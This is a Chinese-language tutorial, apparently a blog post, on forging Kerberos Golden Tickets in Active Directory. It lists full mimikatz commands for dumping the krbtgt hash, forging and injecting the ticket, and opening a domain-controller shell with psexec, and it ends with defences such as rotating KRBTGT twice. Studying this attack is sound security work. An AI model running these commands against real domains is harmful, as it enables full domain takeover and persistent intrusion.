通过上一篇文章我们初步了解了Kerberos协议的工作过程,解决的两个问题
第一个问题:如何证明你本人是XXX用户的问题 由Authentication Server负责
第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。当一个Client去访问Server服务器上的某服务时,Server如何判断Client是否有权限来访问自己主机上的服务。 由Ticket Granting Server负责
针对Kerberos协议需要解决的第一个问题:如何证明你本人是XXX用户的问题。攻击者提出了一种思路,伪造身份证明的TGT票据进行攻击,所以出现了一种针对Kerberos认证的攻击手法-伪造TGT黄金票据。
Golden Ticket(黄金票据)是通过伪造的TGT(Ticket Granting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的TGS,可以说能够伪造黄金票据既有了域内的最高权限。
高权限的TGT:包含PAC,PAC包含Client的sid,Client所在的组,伪造域管理员账号你就有了域管理员权限
ticket传递攻击,通过传递Kerberos的ticket,登陆机器,简称PTT
伪造黄金票据
域控域名:superman.com
由于黄金票据是伪造的TGT,所以与域控制器没有AS-REQ或AS-REP(步骤1和2)通信,直接进入认证的第三步当作TGS-REQ的一部分被发送到域控制器以获得服务票据(TGS)。
制作黄金票据的条件:
1. 域名称
2. 域的SID值 #通过whoamo /user 去掉最后横线的数字剩下的就是SID
3. 域的KRBTGT账户NTLM-HASH
4. 伪造用户名,可以是任意用户名
第一步 获取krbtgt的哈希值
通过mimikatz中的 lsadump::dcsync /domain:superman.com /user:krbtgt 命令获取krbtgt的哈希值
第二步 伪造票据
得到krbtgt hash之后使用mimikatz中的Kerberos::golden功能生成金票golden.kiribi,即伪造成功的TGT
mimikatz # kerberos::golden /admin:administrator /domain:superman.com /sid:S-1-5-21-259090122-541454442-2960687606 /krbtgt:5bba52548e7171b4529f93f758ef66e8 /ticket:golden.kiribi
第三步 获取权限
清空本地票据缓存,导入伪造的票据
kerberos::list #查看本地保存的票据,观察client name
kerberos::purge #清除本地票据缓存
Kerberos::ptt golden kiribi #导入伪造的黄金票据
kerberos::list #查看本地保存的票据,观察client name是否变为我们票据中的用户名
第四步 利用伪造的黄金票据
使用psexec工具 psexec.exe \\域控机计算机名 cmd.exe
得到一个cmd命令行,whoami查看用户为我们伪造的administrator
黄金票据使用场景:有一个domain amdin 权限的用户shell,获取krbtgt,sid和ntlm-hash的权限,就可以伪造任意用户
防御方法:
1.限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机。这降低攻击者通过横向扩展,获取域管理员的账户,获得访问域控制器的Active Directory的ntds.dit的权限。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。
2.建议定期更改KRBTGT密码。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。
3.一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力。
对第三种防御方法的解释如下:
老密码
登录两台机器
新密码1
有一个新密码1,以后登录要用新密码1登录,但是已经用老密码登录的不会被下线
新密码2
有一个新密码2,以后登录要用新密码2登录,但是已经用新密码1登录的用户不会被下线
总结
1.伪造黄金票据要知道krbtgt账号的NTLM-hash
2.黄金票据能用在权限提升和权限维持
3.利用mimikatz工具在win2003以下包括win2003在导入黄金票据报错
05-11 22:43